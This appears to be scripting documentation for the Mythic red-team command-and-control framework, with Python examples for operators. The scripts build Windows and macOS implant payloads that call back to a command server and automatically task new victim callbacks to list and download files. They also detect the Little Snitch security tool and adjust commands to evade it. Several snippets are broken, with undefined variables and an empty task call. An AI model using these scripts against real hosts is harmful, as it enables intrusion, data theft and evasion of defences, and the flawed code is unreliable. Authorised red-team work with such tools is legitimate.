Scripting Examples

What is this page?

This is a small repository of sample code doing common scripting actions to serve as a reference for operators and developers.

Assumptions

This page assumes that every script has the same following basic outline and will only reference the main script driver (the scripting function) and any additional functions created to help support the desired outcome:

from mythic import *
from sys import exit
from os import system


async def scripting():
    # sample login
    # we'll always include this function
    

# everything below here is expected as a staple at the end of your program
# this launches the functions asynchronously and keeps the program running while long-running tasks are going
async def main():
    await scripting()
    try:
        while True:
            pending = asyncio.Task.all_tasks()
            plist = []
            for p in pending:
                if p._coro.__name__ != "main" and p._state == "PENDING":
                    plist.append(p)
            if len(plist) == 0:
                exit(0)
            else:
                await asyncio.gather(*plist)
    except KeyboardInterrupt:
        pending = asyncio.Task.all_tasks()
        for t in pending:
            t.cancel()

loop = asyncio.get_event_loop()
loop.run_until_complete(main())

Logging in and getting info about our operator:

async def scripting():
    # sample login
    mythic = Mythic(
        username="mythic_admin",
        password="mythic_password",
        server_ip="192.168.205.151",
        server_port="7443",
        ssl=True,
        global_timeout=-1,
    )
    print("[+] Logging into Mythic")
    await mythic.login()
    me = await mythic.get_self()
    await json_print(me)  # information about us
    my_op = await mythic.get_current_operation_info()
    await json_print(my_op)  # information about our current operation

Creating and downloading an apfell payload:

async def scripting():
    # sample login
    mythic = Mythic(
        username="mythic_admin",
        password="mythic_password",
        server_ip="192.168.205.151",
        server_port="7443",
        ssl=True,
        global_timeout=-1,
    )
    print("[+] Logging into Mythic")
    await mythic.login()
    await mythic.set_or_create_apitoken()
    # define what our payload should be
    p = Payload(
        # what payload type is it
        payload_type="apfell", 
        # define non-default c2 profile variables
        c2_profiles={
            "HTTP":[
                    {"name": "callback_host", "value": "http://192.168.205.151"},
                    {"name": "callback_interval", "value": 4}
                ]
            },
        # give our payload a description if we want
        tag="test build",
        # if we want to only include specific commands, put them here:
        #commands=["cmd1", "cmd2", "cmd3"],
        # what do we want the payload to be called
        filename="scripted_apfell.js")
    print("[+] Creating new apfell payload")
    # create the payload and include all commands
    # if we define commands in the payload definition, then remove the all_commands=True piece
    resp = await mythic.create_payload(p, all_commands=True, wait_for_build=True)
    print("[*] Downloading apfell payload")
    # payload_contents is now the raw bytes of the payload
    payload_contents = await mythic.download_payload(resp.response)
    with open("my_output", "wb") as f:
        f.write(payload_contents)  # write out to disk

Creating an atlas payload:

async def scripting():
    # sample login
    mythic = Mythic(
        username="mythic_admin",
        password="mythic_password",
        server_ip="192.168.205.151",
        server_port="7443",
        ssl=True,
        global_timeout=-1,
    )
    print("[+] Logging into Mythic")
    await mythic.login()
    await mythic.set_or_create_apitoken()
    p = Payload(
        payload_type="atlas", 
        c2_profiles={
            "HTTP":[
                    {"name": "callback_host", "value": "http://192.168.205.151"},
                    {"name": "callback_interval", "value": 4}
                ]
            },
        build_parameters=[
            {
                "name": "version", "value": 4.0
            },
            {
                "name": "output_type", "value": "WinExe"
            }
        ],
        tag=".NET EXE",
        filename="atlas.exe")
    resp = await mythic.create_payload(p, all_commands=True, wait_for_build=True)
    payload_contents = await mythic.download_payload(resp.response)

Creating users and adding them to an operation:

async def scripting():
    # sample login
    mythic = Mythic(
        username="mythic_admin",
        password="mythic_password",
        server_ip="192.168.205.151",
        server_port="7443",
        ssl=True,
        global_timeout=-1,
    )
    print("[+] Logging into Mythic")
    await mythic.login()
    await mythic.set_or_create_apitoken()
    # define our operator
    new_operator = Operator(username="new_operator", password="password123")
    # create them
    new_operator_resp = await mythic.create_operator(honeycrisp)
    # reference our operation
    operation = Operation(name="Operation Chimera")
    # add the user to our operation
    await mythic.add_or_update_operator_for_operation(operation=operation, operator=new_operator_resp.response)

Take actions on new callback:

This script waits for new callbacks, then executes a function which:

  • Issues the ls command, parses that output for specific files and if they exist, downloads them

  • Issues the list_apps function and searches for dangerous processes. If one is found, gets/creates a new blocked command list and applies it to the operators

async def scripting():
    # sample login
    mythic = Mythic(
        username="mythic_admin",
        password="mythic_password",
        server_ip="192.168.205.151",
        server_port="7443",
        ssl=True,
        global_timeout=-1,
    )
    print("[+] Logging into Mythic")
    await mythic.login()
    await mythic.set_or_create_apitoken()
    # define a function to execute on new callback
    await mythic.listen_for_new_callbacks(analyze_callback)
    
async def analyze_callback(mythic, callback):
    # function gets an intance of mythic and the callback object
    try:
    # create a new task to execute on this callback
        task = Task(
            callback=callback, command="ls", params="."
        )
        print("[+] got new callback, issuing ls")
        submit = await mythic.create_task(task, return_on="completed")
        print("[*] waiting for ls results...")
        # wait up to 20s for the task to finish and get all the responses from it
        results = await mythic.gather_task_responses(submit.response.id, timeout=20)
        # results is now an array of responses
        folder  = json.loads(results[0].response)
        print("[*] going through results looking for interesting files...")
        for f in folder["files"]:
            if f["name"] == "apfellserver":
                task = Task(
                    callback=callback, command="download", params="apfellserver"
                )
                print("[+] found an interesting file, tasking it for download")
                await mythic.create_task(task, return_on="submitted")
        task = Task(

        )
        print("[+] tasking callback to list running applications")
        # return_on="submitted" means don't wait for responses
        list_apps_submit = await mythic.create_task(task, return_on="submitted")
        print("[*] waiting for list_apps results...")
        # instead, we'll manually gather tasks until the task is completed or errors out
        results = await mythic.gather_task_responses(list_apps_submit.response.id)
        # gather responses returns an array of responses
        apps = json.loads(results[0].response)
        print("[*] going through results looking for dangerous processes...")
        for a in apps:
            if "Little Snitch Agent" in a["name"]:
                list_apps_submit.response.comment = "Auto processed, created alert on Little Snitch Agent, updating block lists"
                await mythic.set_comment_on_task(list_apps_submit.response)
                print("[+] found a dangerous process! Little Snitch Agent - sending alert to operators")
                await mythic.create_event_message(message=EventMessage(message="LITTLE SNITCH DETECTED on {}".format(callback.host), level='warning'))
                resp = await mythic.get_all_disabled_commands_profiles()
                print("[+] Getting/creating disabled command profile to prevent bad-opsec commands based on dangerous processes")
                snitchy_block_list_exists = False
                for cur_dcp in resp.response:
                    if cur_dcp.name == "snitchy block list":
                        snitchy_block_list_exists = True
                        dcp = cur_dcp
                if not snitchy_block_list_exists:
                    dcp = DisabledCommandsProfile(name="snitchy block list", payload_types=[
                        PayloadType(ptype="apfell", commands=["shell", "shell_elevated"]),
                        PayloadType(ptype="poseidon", commands=["shell"])
                    ])

                    resp = await mythic.update_disabled_commands_profile_for_operator(profile=dcp, operator=member, operation=current_operation)

    except Exception as e:
        print(str(e))

Send a warning message for the operation:

async def scripting():
    # sample login
    mythic = Mythic(
        username="mythic_admin",
        password="mythic_password",
        server_ip="192.168.205.151",
        server_port="7443",
        ssl=True,
        global_timeout=-1,
    )
    print("[+] Logging into Mythic")
    await mythic.login()
    await mythic.set_or_create_apitoken()
    await mythic.create_event_message(message=EventMessage(message="DANGER, WILL ROBINSON", level='warning'))
